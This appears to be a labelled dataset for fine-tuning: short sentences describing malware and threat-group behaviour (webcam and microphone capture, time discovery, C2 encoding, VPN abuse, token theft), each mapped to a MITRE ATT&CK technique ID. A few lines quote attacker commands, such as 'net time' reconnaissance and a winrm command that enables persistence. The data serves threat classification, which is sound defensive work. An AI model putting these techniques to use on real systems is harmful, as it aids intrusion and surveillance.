"USBStealer monitors victims for insertion of removable drives. When dropped onto a second victim, it also enumerates drives connected to the system.",['T1120 - Peripheral Device Discovery'],fine_tune
USBferry can check for connected USB devices.,['T1120 - Peripheral Device Discovery'],fine_tune
"WannaCry contains a thread that will attempt to scan for new attached drives every few seconds. If one is identified, it will encrypt the files on the attached device.",['T1120 - Peripheral Device Discovery'],fine_tune
WastedLocker can enumerate removable drives prior to the encryption process.,['T1120 - Peripheral Device Discovery'],fine_tune
"XAgentOSX contains the showBackupIosFolder function to check for IOS device backups by running ""ls -la ~/Library/Application\ Support/MobileSync/Backup/"".",['T1120 - Peripheral Device Discovery'],fine_tune
Zebrocy enumerates information about connected storage devices.,['T1120 - Peripheral Device Discovery'],fine_tune
jRAT can map UPnP ports.,['T1120 - Peripheral Device Discovery'],fine_tune
APT37 has used an audio capturing utility known as SOUNDWAVE that captures microphone input.,['T1123 - Audio Capture'],fine_tune
Attor's has a plugin that is capable of recording audio using available input sound devices.,['T1123 - Audio Capture'],fine_tune
Cadelspy has the ability to record audio from the compromised host.,['T1123 - Audio Capture'],fine_tune
Cobian RAT has a feature to perform voice recording on the victim’s machine.,['T1123 - Audio Capture'],fine_tune
Crimson can perform audio surveillance using microphones.,['T1123 - Audio Capture'],fine_tune
DOGCALL can capture microphone data from the victim's machine.,['T1123 - Audio Capture'],fine_tune
DarkComet can listen in to victims' conversations through the system’s microphone.,['T1123 - Audio Capture'],fine_tune
EvilGrab has the capability to capture audio from a victim machine.,['T1123 - Audio Capture'],fine_tune
Flame can record audio using any existing hardware recording devices.,['T1123 - Audio Capture'],fine_tune
InvisiMole can record sound using input audio devices.,['T1123 - Audio Capture'],fine_tune
Janicab captured audio and sent it out to a C2 server.,['T1123 - Audio Capture'],fine_tune
MacMa has the ability to record audio.,['T1123 - Audio Capture'],fine_tune
MacSpy can record the sounds from microphones on a computer.,['T1123 - Audio Capture'],fine_tune
Machete captures audio from the computer’s microphone.,['T1123 - Audio Capture'],fine_tune
NanoCore can capture audio feeds from the system.,['T1123 - Audio Capture'],fine_tune
Pupy can record sound with the microphone.,['T1123 - Audio Capture'],fine_tune
ROKRAT has an audio capture and eavesdropping module.,['T1123 - Audio Capture'],fine_tune
Remcos can capture data from the system’s microphone.,['T1123 - Audio Capture'],fine_tune
Revenge RAT has a plugin for microphone interception.,['T1123 - Audio Capture'],fine_tune
"T9000 uses the Skype API to record audio and video calls. It writes encrypted data to ""%APPDATA%\Intel\Skype"".","['T1123 - Audio Capture', 'T1125 - Video Capture']",fine_tune
TajMahal has the ability to capture VoiceIP application audio on an infected host.,['T1123 - Audio Capture'],fine_tune
VERMIN can perform audio capture.,['T1123 - Audio Capture'],fine_tune
jRAT can capture microphone recordings.,['T1123 - Audio Capture'],fine_tune
AppleSeed can pull a timestamp from the victim's machine.,['T1124 - System Time Discovery'],fine_tune
"As part of the data reconnaissance phase, Proxysvc grabs the system time to send back to the control server.",['T1124 - System Time Discovery'],fine_tune
Astaroth collects the timestamp from the infected machine.,['T1124 - System Time Discovery'],fine_tune
"BRONZE BUTLER has used ""net time"" to check the local time on a target system.",['T1124 - System Time Discovery'],fine_tune
BendyBear has the ability to determine local time on a compromised host.,['T1124 - System Time Discovery'],fine_tune
Bisonal can check the system time set on the infected host.,['T1124 - System Time Discovery'],fine_tune
"Carbon uses the command ""net time \\127.0.0.1"" to get information the system’s time.",['T1124 - System Time Discovery'],fine_tune
"Chimera has used ""time /t"" and ""net time \\ip/hostname"" for system time discovery.",['T1124 - System Time Discovery'],fine_tune
Clambling can determine the current time.,['T1124 - System Time Discovery'],fine_tune
"ComRAT has checked the victim system's date and time to perform tasks during business hours (9 to 5, Monday to Friday).",['T1124 - System Time Discovery'],fine_tune
Conficker uses the current UTC victim system date for domain generation and connects to time servers to determine the current date.,['T1124 - System Time Discovery'],fine_tune
DCSrv can compare the current time on an infected host with a configuration value to determine when to start the encryption process.,['T1124 - System Time Discovery'],fine_tune
DRATzarus can use the `GetTickCount` and `GetSystemTimeAsFileTime` API calls to inspect system time.,['T1124 - System Time Discovery'],fine_tune
DarkWatchman can collect the time zone information from the system.,['T1124 - System Time Discovery'],fine_tune
Darkhotel malware can obtain system time from a compromised host.,['T1124 - System Time Discovery'],fine_tune
"During C0015, the threat actors used the command `net view /all time` to gather the local time of a compromised network.",['T1124 - System Time Discovery'],fine_tune
"During Operation CuckooBees, the threat actors used the `net time` command as part of their advanced reconnaissance.",['T1124 - System Time Discovery'],fine_tune
Egregor contains functionality to query the local/system time.,['T1124 - System Time Discovery'],fine_tune
"Epic uses the ""net time"" command  to get the system time from the machine and collect the current date and time zone information.",['T1124 - System Time Discovery'],fine_tune
FunnyDream can check system time to help determine when changes were made to specified files.,['T1124 - System Time Discovery'],fine_tune
GRIFFON has used a reconnaissance module that can be used to retrieve the date and time of the system.,['T1124 - System Time Discovery'],fine_tune
"GoldMax can check the current date-time value of the compromised system, comparing it to the hardcoded execution trigger and can send the current timestamp to the C2 server.",['T1124 - System Time Discovery'],fine_tune
Grandoreiro can determine the time on the victim machine via IPinfo.,['T1124 - System Time Discovery'],fine_tune
GravityRAT can obtain the date and time of a system.,['T1124 - System Time Discovery'],fine_tune
Green Lambert can collect the date and time from a compromised host.,['T1124 - System Time Discovery'],fine_tune
HOPLIGHT has been observed collecting system time from victim machines.,['T1124 - System Time Discovery'],fine_tune
Higaisa used a function to gather the current time.,['T1124 - System Time Discovery'],fine_tune
Metamorfo uses JavaScript to get the system time.,['T1124 - System Time Discovery'],fine_tune
NOKKI can collect the current timestamp of the victim's machine.,['T1124 - System Time Discovery'],fine_tune
Okrum can obtain the date and time of the compromised system.,['T1124 - System Time Discovery'],fine_tune
PipeMon can send time zone information from a compromised host to C2.,['T1124 - System Time Discovery'],fine_tune
"PowerDuke has commands to get the time the machine was built, the time, and the time zone.",['T1124 - System Time Discovery'],fine_tune
QakBot can identify the system time on a targeted host.,['T1124 - System Time Discovery'],fine_tune
SILENTTRINITY can collect start time information from a compromised host.,['T1124 - System Time Discovery'],fine_tune
"SombRAT can execute ""getinfo""  to discover the current time on a compromised host.",['T1124 - System Time Discovery'],fine_tune
StoneDrill can obtain the current date and time of the victim machine.,['T1124 - System Time Discovery'],fine_tune
StrifeWater can collect the time zone from the victim's machine.,['T1124 - System Time Discovery'],fine_tune
Stuxnet collects the time and date of a system when it is infected.,['T1124 - System Time Discovery'],fine_tune
"TAINTEDSCRIBE can execute ""GetLocalTime"" for time discovery.",['T1124 - System Time Discovery'],fine_tune
"Taidoor can use ""GetLocalTime"" and ""GetSystemTime"" to collect system time.",['T1124 - System Time Discovery'],fine_tune
The White Company has checked the current date on the victim system.,['T1124 - System Time Discovery'],fine_tune
"Turla surveys a system upon check-in to discover the system time by using the ""net time"" command.",['T1124 - System Time Discovery'],fine_tune
UPPERCUT has the capability to obtain the time zone information and current timestamp of the victim’s machine.,['T1124 - System Time Discovery'],fine_tune
WindTail has the ability to generate the current date and time.,['T1124 - System Time Discovery'],fine_tune
ZIRCONIUM has used a tool to capture the time on a compromised host in order to register it with C2.,['T1124 - System Time Discovery'],fine_tune
Zebrocy gathers the current time zone and date information from the system.,['T1124 - System Time Discovery'],fine_tune
build_downer has the ability to determine the local time to ensure malware installation only happens during the hours that the infected system is active.,['T1124 - System Time Discovery'],fine_tune
Agent Tesla can access the victim’s webcam and record video.,['T1125 - Video Capture'],fine_tune
Bandook has modules that are capable of capturing video from a victim's webcam.,['T1125 - Video Capture'],fine_tune
Clambling can record screen content in AVI format.,['T1125 - Video Capture'],fine_tune
ConnectWise can record video on remote hosts.,['T1125 - Video Capture'],fine_tune
Crimson can capture webcam video on targeted systems.,['T1125 - Video Capture'],fine_tune
DarkComet can access the victim’s webcam to take pictures.,['T1125 - Video Capture'],fine_tune
Empire can capture webcam data on Windows and macOS systems.,['T1125 - Video Capture'],fine_tune
EvilGrab has the capability to capture video from a victim machine.,['T1125 - Video Capture'],fine_tune
FIN7 created a custom video recording capability that could be used to monitor operations in the victim's environment.,['T1125 - Video Capture'],fine_tune
Imminent Monitor has a remote webcam monitoring capability.,['T1125 - Video Capture'],fine_tune
InvisiMole can remotely activate the victim’s webcam to capture content.,['T1125 - Video Capture'],fine_tune
Kazuar captures images from the webcam.,['T1125 - Video Capture'],fine_tune
NanoCore can access the victim's webcam and capture data.,['T1125 - Video Capture'],fine_tune
ObliqueRAT can capture images from webcams on compromised hosts.,['T1125 - Video Capture'],fine_tune
PcShare can capture camera video as part of its collection process.,['T1125 - Video Capture'],fine_tune
PoetRAT has used a Python tool named Bewmac to record the webcam on compromised hosts.,['T1125 - Video Capture'],fine_tune
QuasarRAT can perform webcam viewing.,['T1125 - Video Capture'],fine_tune
Remcos can access a system’s webcam and take pictures.,['T1125 - Video Capture'],fine_tune
SDBbot has the ability to record video on a compromised host.,['T1125 - Video Capture'],fine_tune
TajMahal has the ability to capture webcam video.,['T1125 - Video Capture'],fine_tune
WarzoneRAT can access the webcam on a victim's machine.,['T1125 - Video Capture'],fine_tune
ZxShell has a command to perform video device spying.,['T1125 - Video Capture'],fine_tune
jRAT has the capability to capture video from a webcam.,['T1125 - Video Capture'],fine_tune
"A version of PlugX loads as shellcode within a .NET Framework project using msbuild.exe, presumably to bypass application whitelisting techniques.",['T1127 - Trusted Developer Utilities Proxy Execution'],fine_tune
Empire can use built-in modules to abuse trusted utilities like MSBuild.exe.,"['T1127 - Trusted Developer Utilities Proxy Execution', 'T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild']",fine_tune
"A version of PlugX loads as shellcode within a .NET Framework project using msbuild.exe, presumably to bypass application control techniques.",['T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild'],fine_tune
"During Frankenstein, the threat actors used MSbuild to execute an actor-created file.",['T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild'],fine_tune
Astaroth uses the LoadLibraryExW() function to load additional modules.,['T1129 - Server Software Component'],fine_tune
Attor's dispatcher can execute additional plugins by loading the respective DLLs.,['T1129 - Server Software Component'],fine_tune
BLINDINGCAN has loaded and executed DLLs in memory during runtime on a victim machine.,['T1129 - Server Software Component'],fine_tune
BOOSTWRITE has used the DWriteCreateFactory() function to load additional modules.,['T1129 - Server Software Component'],fine_tune
Bumblebee can use `LoadLibrary` to attempt to execute GdiPlus.dll.,['T1129 - Server Software Component'],fine_tune
"Dtrack contains a function that calls ""LoadLibrary"" and ""GetProcAddress"".",['T1129 - Server Software Component'],fine_tune
"FoggyWeb's loader can call the ""load()"" function to load the FoggyWeb dll into an Application Domain on a compromised AD FS server.",['T1129 - Server Software Component'],fine_tune
Hydraq creates a backdoor through which remote attackers can load and call DLL functions.,['T1129 - Server Software Component'],fine_tune
KillDisk loads and executes functions from a DLL.,['T1129 - Server Software Component'],fine_tune
Metamorfo had used AutoIt to load and execute the DLL payload.,['T1129 - Server Software Component'],fine_tune
"PipeMon has used call to ""LoadLibrary"" to load its installer. PipeMon loads its modules using reflective loading or custom shellcode.",['T1129 - Server Software Component'],fine_tune
Stuxnet calls LoadLibrary then executes exports from a DLL.,['T1129 - Server Software Component'],fine_tune
"TajMahal has the ability to inject the ""LoadLibrary"" call template DLL into running processes.",['T1129 - Server Software Component'],fine_tune
gh0st RAT can load DLLs into memory.,['T1129 - Server Software Component'],fine_tune
"After encrypting C2 data, BADNEWS converts it into a hexadecimal representation and then encodes it into base64.",['T1132 - Data Encoding'],fine_tune
H1N1 obfuscates C2 traffic with an altered version of base64.,['T1132 - Data Encoding'],fine_tune
Linux Rabbit sends the payload from the C2 server as an encoded URL parameter.,['T1132 - Data Encoding'],fine_tune
Mythic provides various transform functions to encode and/or randomize C2 data.,['T1132 - Data Encoding'],fine_tune
Ursnif has used encoded data in HTTP URLs for C2.,['T1132 - Data Encoding'],fine_tune
A JHUHUGIT variant encodes C2 POST data base64.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
APT33 has used base64 to encode command and control traffic.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
An APT19 HTTP malware variant used Base64 to encode communications to the C2 server.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Astaroth encodes data using Base64 before sending it to the C2 server.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
AutoIt backdoor has sent a C2 response that was base64-encoded.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
BADNEWS encodes C2 traffic with base64.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
BS2005 uses Base64 encoding for communication in the message body of an HTTP request.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
BabyShark has encoded data using certutil before exfiltration.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Bisonal has encoded binary data with Base64 and ASCII.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Bumblebee has the ability to base64 encode C2 server responses.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
"C2 traffic from ADVSTORESHELL is encrypted, then encoded with Base64 encoding.",['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Carbanak encodes the message body of HTTP traffic with Base64.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
ChChes can encode C2 data with a custom technique that utilizes Base64.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Chaes has used Base64 to encode C2 communications.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
CharmPower can send additional modules over C2 encoded with base64.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Cobian RAT obfuscates communications with the C2 server using Base64 encoding.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
CreepySnail can use Base64 to encode its C2 traffic.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
DarkWatchman encodes data using hexadecimal representation before sending it to the C2 server.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Daserf uses custom base64 encoding to obfuscate HTTP traffic.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Denis encodes the data sent to the server in Base64.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Dipsind encodes C2 traffic with base64.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
DnsSystem can Base64 encode data sent to C2.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Ebury has encoded C2 traffic in hexadecimal format.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Elise exfiltrates data using cookie values that are Base64-encoded.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
"For C2 over HTTP, Helminth encodes data with base64 and sends it via the ""Cookie"" field of HTTP requests. For C2 over DNS, Helminth converts ASCII characters into their hexadecimal values and sends the data in cleartext.",['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Fysbis can use Base64 to encode its C2 traffic.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
GrimAgent can base64 encode C2 replies.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
HAFNIUM has used ASCII encoding for C2 traffic.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
HOPLIGHT has utilized Zlib compression to obfuscate the communications payload.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Ixeshe uses custom Base64 encoding schemes to obfuscate command and control traffic in the message body of HTTP requests.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
KONNI has used a custom base64 key to encode stolen data before exfiltration.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Kazuar encodes communications to the C2 server in Base64.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Kessel has exfiltrated data via hexadecimal-encoded subdomain fields of DNS queries.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Kevin can Base32 encode chunks of output files during exfiltration.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Machete has used base64 encoding.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
MechaFlounder has the ability to use base16 encoded strings in C2.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Mis-Type uses Base64 encoding for C2 traffic.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Misdat network traffic is Base64-encoded plaintext.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Mongall can use Base64 to encode information sent to its C2.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
"More_eggs has used basE91 encoding, along with encryption, for C2 communication.",['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Mori can use Base64 encoded JSON libraries used in C2.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
MuddyWater has used tools to encode C2 communications including Base64 encoding.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Octopus has encoded C2 communications in Base64.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Okrum has used base64 to encode C2 communication.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Patchwork used Base64 to encode C2 traffic.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
PingPull can encode C2 traffic with Base64.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
PowerShower has the ability to encode C2 communications with base64 encoding.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Prikormka encodes C2 traffic with Base64.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
QUADAGENT encodes C2 communications with base64.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
QakBot can Base64 encode system information sent to C2.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
RDAT can communicate with the C2 via base32-encoded subdomains.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Ramsay has used base64 to encode its C2 traffic.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Responses from the Pisloader C2 server are base32-encoded.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
RogueRobin base64 encodes strings that are sent to the C2 over its DNS tunnel.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
SMOKEDHAM has encoded its C2 traffic with Base64.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
STARWHALE has the ability to hex-encode collected data from an infected host.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Sandworm Team's BCS-server tool uses base64 encoding and HTML tags for the communication traffic between the C2 server.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
SeaDuke C2 traffic is base64-encoded.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Several BRONZE BUTLER tools encode data with base64 when posting it to a C2 server.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
SideTwist has used Base64 for encoded C2 traffic.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Sliver can use standard encoding techniques like gzip and hex to ASCII to encode the C2 communication payload.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
"Some Backdoor.Oldrea samples use standard Base64 + bzip2, and some use standard Base64 + reverse XOR + RSA-2048 to decrypt data received from C2 servers.",['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Some Felismus samples use a custom method for C2 traffic that utilizes Base64.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Squirrelwaffle has encoded its communications to C2 servers using Base64.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Stuxnet transforms encrypted binary data into an ASCII string in order to use it as a URL parameter value.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
TA551 has used encoded ASCII text for initial C2 communications.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
TrickBot can Base64-encode C2 commands.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Tropic Trooper has used base64 encoding to hide command strings delivered from the C2.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Valak has returned C2 data as encoded ASCII.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
WellMess has used Base64 encoding to uniquely identify communication to and from the C2.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Zebrocy has used URL/Percent Encoding on data exfiltrated via HTTP POST requests.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
down_new has the ability to base64 encode C2 communications.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
gh0st RAT has used Zlib to compress C2 communications data before encrypting it.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
njRAT uses Base64 encoding for C2 traffic.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
xCaon has used Base64 to encode its C2 traffic.,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Cyclops Blink can use a custom binary scheme to encode messages with specific commands and parameters to be executed.,['T1132.002 - Non-Standard Encoding'],fine_tune
InvisiMole can use a modified base32 encoding to encode data within the subdomain of C2 requests.,['T1132.002 - Non-Standard Encoding'],fine_tune
Newer variants of BACKSPACE will encode C2 communications with a custom system.,['T1132.002 - Non-Standard Encoding'],fine_tune
PowGoop can use a modified Base64 encoding mechanism to send data to and from the C2 server.,['T1132.002 - Non-Standard Encoding'],fine_tune
RDAT can communicate with the C2 via subdomains that utilize base64 with character substitutions.,['T1132.002 - Non-Standard Encoding'],fine_tune
ShadowPad has encoded data as readable Latin characters.,['T1132.002 - Non-Standard Encoding'],fine_tune
Small Sieve can use a custom hex byte swapping encoding scheme to obfuscate tasking traffic.,['T1132.002 - Non-Standard Encoding'],fine_tune
APT28 has used Tor and a variety of commercial VPN services to route brute force authentication attempts.,['T1133 - External Remote Services'],fine_tune
"APT29 has used compromised identities to access networks via SSH,  VPNs, and other remote access tools.",['T1133 - External Remote Services'],fine_tune
"APT34 uses remote services such as VPN, Citrix, or OWA to persist in an environment.",['T1133 - External Remote Services'],fine_tune
APT41 compromised an online billing/payment service using VPN access between a third-party service provider and the targeted payment service.,['T1133 - External Remote Services'],fine_tune
"Chimera has used legitimate credentials to login to an external VPN, Citrix, SSH, and other remote services.",['T1133 - External Remote Services'],fine_tune
Doki was executed through an open Docker daemon API port.,['T1133 - External Remote Services'],fine_tune
Dragonfly 2.0 used VPNs and Outlook Web Access (OWA) to maintain access to victim networks.,['T1133 - External Remote Services'],fine_tune
Dragonfly has used VPNs and Outlook Web Access (OWA) to maintain access to victim networks.,['T1133 - External Remote Services'],fine_tune
"Dragonfly used remote access services, including VPN and Outlook Web Access (OWA).",['T1133 - External Remote Services'],fine_tune
"During CostaRicto, the threat actors set up remote tunneling using an SSH tool to maintain access to a compromised environment.",['T1133 - External Remote Services'],fine_tune
"During Operation CuckooBees, the threat actors enabled WinRM over HTTP/HTTPS as a backup persistence mechanism using the following command: `cscript //nologo ""C:\Windows\System32\winrm.vbs"" set winrm/config/service@{EnableCompatibilityHttpsListener=""true""}`.",['T1133 - External Remote Services'],fine_tune
"During Operation Wocao, threat actors used stolen credentials to connect to the victim's network via VPN.",['T1133 - External Remote Services'],fine_tune
"GALLIUM has used VPN services, including SoftEther VPN, to access and maintain persistence in victim environments.",['T1133 - External Remote Services'],fine_tune
GOLD SOUTHFIELD has used publicly-accessible RDP and remote management and monitoring (RMM) servers to gain access to victim machines.,['T1133 - External Remote Services'],fine_tune
Ke3chang has gained access through VPNs including with compromised accounts and stolen VPN certificates.,['T1133 - External Remote Services'],fine_tune
Kimsuky has used RDP to establish persistence.,['T1133 - External Remote Services'],fine_tune
"LAPSUS$ has gained access to internet-facing systems and applications, including virtual private network (VPN), remote desktop protocol (RDP), and virtual desktop infrastructure (VDI) including Citrix.",['T1133 - External Remote Services'],fine_tune
Leviathan has used external remote services such as virtual private networks (VPN) to gain initial access.,['T1133 - External Remote Services'],fine_tune
Linux Rabbit attempts to gain access to the server via SSH.,['T1133 - External Remote Services'],fine_tune
"OilRig uses remote services such as VPN, Citrix, or OWA to persist in an environment.",['T1133 - External Remote Services'],fine_tune
Operation Wocao has used stolen credentials to connect to the victim's network via VPN.,['T1133 - External Remote Services'],fine_tune
Sandworm Team has used Dropbear SSH with a hardcoded backdoor password to maintain persistence within the target network. Sandworm Team has also used VPN tunnels established in legitimate software company infrastructure to gain access to internal networks of that software company's users.,['T1133 - External Remote Services'],fine_tune
TEMP.Veles has used a VPN to persist in the victim environment.,['T1133 - External Remote Services'],fine_tune
TeamTNT has used open-source tools such as Weave Scope to target exposed Docker API ports and gain initial access to victim environments. TeamTNT has also targeted exposed kubelets for Kubernetes environments.,['T1133 - External Remote Services'],fine_tune
Threat Group-3390 actors look for and use VPN profiles during an operation to access the network using external VPN services. Threat Group-3390 has also obtained OWA account credentials during intrusions that it subsequently used to attempt to regain access when evicted from a victim network.,['T1133 - External Remote Services'],fine_tune
UNC2452 has used compromised identities to access VPNs and remote access tools.,['T1133 - External Remote Services'],fine_tune
"AppleSeed can gain system level privilege by passing ""SeDebugPrivilege"" to the ""AdjustTokenPrivilege"" API.",['T1134 - Access Token Manipulation'],fine_tune
"Blue Mockingbird has used JuicyPotato to abuse the ""SeImpersonate"" token privilege to escalate from web application pool accounts to NT Authority\SYSTEM.",['T1134 - Access Token Manipulation'],fine_tune
"Duqu examines running system processes for tokens that have specific system privileges. If it finds one, it will copy the token and store it for later use. Eventually it will start new processes with the stored token attached. It can also steal tokens to acquire administrative privileges.",['T1134 - Access Token Manipulation'],fine_tune
"Empire can use PowerSploit's ""Invoke-TokenManipulation"" to manipulate access tokens.",['T1134 - Access Token Manipulation'],fine_tune
FIN6 has used has used Metasploit’s named-pipe impersonation technique to escalate privileges.,['T1134 - Access Token Manipulation'],fine_tune
Gelsemium can use token manipulation to bypass UAC on Windows7 systems.,['T1134 - Access Token Manipulation'],fine_tune
"HermeticWiper can use `AdjustTokenPrivileges` to grant itself privileges for debugging with `SeDebugPrivilege`, creating backups with `SeBackupPrivilege`, loading drivers with `SeLoadDriverPrivilege`, and shutting down a local system with `SeShutdownPrivilege`.",['T1134 - Access Token Manipulation'],fine_tune
Hydraq creates a backdoor through which remote attackers can adjust token privileges.,['T1134 - Access Token Manipulation'],fine_tune
"PowerSploit's ""Invoke-TokenManipulation"" Exfiltration module can be used to manipulate tokens.",['T1134 - Access Token Manipulation'],fine_tune
"Ryuk has attempted to adjust its token privileges to have the ""SeDebugPrivilege"".",['T1134 - Access Token Manipulation'],fine_tune
"SUNSPOT modified its security token to grants itself debugging privileges by adding ""SeDebugPrivilege"".",['T1134 - Access Token Manipulation'],fine_tune
Sliver has the ability to manipulate user tokens on targeted Windows systems.,['T1134 - Access Token Manipulation'],fine_tune
SslMM contains a feature to manipulate process privileges and tokens.,['T1134 - Access Token Manipulation'],fine_tune
APT28 has used CVE-2015-1701 to access the SYSTEM token and copy it into the current process as part of privilege escalation.,['T1134.001 - Access Token Manipulation: Token Impersonation/Theft'],fine_tune
BitPaymer can use the tokens of users to create processes on infected systems.,['T1134.001 - Access Token Manipulation: Token Impersonation/Theft'],fine_tune
Cobalt Strike can steal access tokens from exiting processes.,['T1134.001 - Access Token Manipulation: Token Impersonation/Theft'],fine_tune
FinFisher uses token manipulation with NtFilterToken as part of UAC bypass.,['T1134.001 - Access Token Manipulation: Token Impersonation/Theft'],fine_tune
Okrum can impersonate a logged-on user's security context using a call to the ImpersonateLoggedOnUser API.,['T1134.001 - Access Token Manipulation: Token Impersonation/Theft'],fine_tune
Pupy can obtain a list of SIDs and provide the option for selecting process tokens to impersonate.,['T1134.001 - Access Token Manipulation: Token Impersonation/Theft'],fine_tune
SILENTTRINITY can find a process owned by a specific user and impersonate the associated token.,['T1134.001 - Access Token Manipulation: Token Impersonation/Theft'],fine_tune
"Shamoon can impersonate tokens using ""LogonUser"", ""ImpersonateLoggedOnUser"", and ""ImpersonateNamedPipeClient"".",['T1134.001 - Access Token Manipulation: Token Impersonation/Theft'],fine_tune
"Siloscape impersonates the main thread of ""CExecSvc.exe"" by calling ""NtImpersonateThread"".",['T1134.001 - Access Token Manipulation: Token Impersonation/Theft'],fine_tune
Stuxnet attempts to impersonate an anonymous token to enumerate bindings in the service control manager.,['T1134.001 - Access Token Manipulation: Token Impersonation/Theft'],fine_tune
Tarrask leverages token theft to obtain `lsass.exe` security permissions.,['T1134.001 - Access Token Manipulation: Token Impersonation/Theft'],fine_tune
"Aria-body has the ability to execute a process using ""runas"".",['T1134.002 - Create Process with Token'],fine_tune
Azorult can call WTSQueryUserToken and CreateProcessAsUser to start a new process with local system privileges.,['T1134.002 - Create Process with Token'],fine_tune
Bankshot grabs a user token using WTSQueryUserToken and then creates a process by impersonating a logged-on user.,['T1134.002 - Create Process with Token'],fine_tune
KONNI has duplicated the token of a high integrity process to spawn an instance of cmd.exe under an impersonated user.,['T1134.002 - Create Process with Token'],fine_tune
"Lazarus Group keylogger KiloAlfa obtains user tokens from interactive sessions to execute itself with API call ""CreateProcessAsUserA"" under that user's context.",['T1134.002 - Create Process with Token'],fine_tune
PipeMon can attempt to gain administrative privileges using token impersonation.,['T1134.002 - Create Process with Token'],fine_tune
PoshC2 can use Invoke-RunAs to make tokens.,['T1134.002 - Create Process with Token'],fine_tune
REvil can launch an instance of itself with administrative rights using runas.,['T1134.002 - Create Process with Token'],fine_tune
"ZxShell has a command called RunAs, which creates a new process as another user or process context.",['T1134.002 - Create Process with Token'],fine_tune
Cobalt Strike can make tokens from known credentials.,['T1134.003 - Make and Impersonate Token'],fine_tune
Cobalt Strike can spawn processes with alternate PPIDs.,['T1134.004 - Access Token Manipulation: Parent PID Spoofing'],fine_tune
KONNI has used parent PID spoofing to spawn a new `cmd` process using `CreateProcessW` and a handle to `Taskmgr.exe`.,['T1134.004 - Access Token Manipulation: Parent PID Spoofing'],fine_tune
Empire can add a SID-History to a user if on a domain controller.,['T1134.005 - Access Token Manipulation: SID-History Injection'],fine_tune
"Mimikatz's ""MISC::AddSid"" module can appended any SID or user/group account to a user's SID-History. Mimikatz also utilizes SID-History Injection to expand the scope of other components such as generated Kerberos Golden Tickets and DCSync beyond a single domain.",['T1134.005 - Access Token Manipulation: SID-History Injection'],fine_tune
APT1 listed connected network shares.,['T1135 - Network Share Discovery'],fine_tune
